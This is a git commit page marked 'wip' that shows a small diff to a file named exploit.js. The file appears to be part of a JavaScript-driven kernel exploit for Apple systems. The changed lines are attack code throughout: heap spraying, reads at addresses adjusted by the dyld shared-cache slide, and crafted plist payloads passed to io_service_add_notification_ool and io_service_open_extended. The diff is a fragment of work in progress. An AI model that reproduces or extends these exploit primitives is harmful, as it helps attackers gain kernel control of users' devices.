diff options
| author | spv420 <unomilliono@gmail.com> | 2022-04-24 13:32:31 -0400 |
|---|---|---|
| committer | spv420 <unomilliono@gmail.com> | 2022-04-24 13:32:31 -0400 |
| commit | 0b212a73e235c233b4addd0c9ea6b55676416d17 (patch) | |
| tree | 91fb381a59d7228bd96ac2156d5ec59f2dbfc737 /src/js/kexp/exploit.js | |
| parent | 313627a7864d67e29a3655dd4a6077ac0481f3c1 (diff) | |
wip
Diffstat (limited to 'src/js/kexp/exploit.js')
| -rw-r--r-- | src/js/kexp/exploit.js | 5 |
1 files changed, 3 insertions, 2 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 48d7f62..a78bdca 100644 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -71,6 +71,7 @@ function spray_data(mem, size, num, portptr) { } printf("%x %x\n", master, read_u32(master)); + printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); if (ret == KERN_SUCCESS) { ret = read_u32(err); @@ -103,9 +104,9 @@ function copyinPort(kport, cnt) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } + var err = malloc(4); var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"); -// write_u32(err, 0); - ret = io_service_open_extended(service, self, 0, NDR_record + get_dyld_shc_slide(), xml, strlen(xml), err, client); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); |
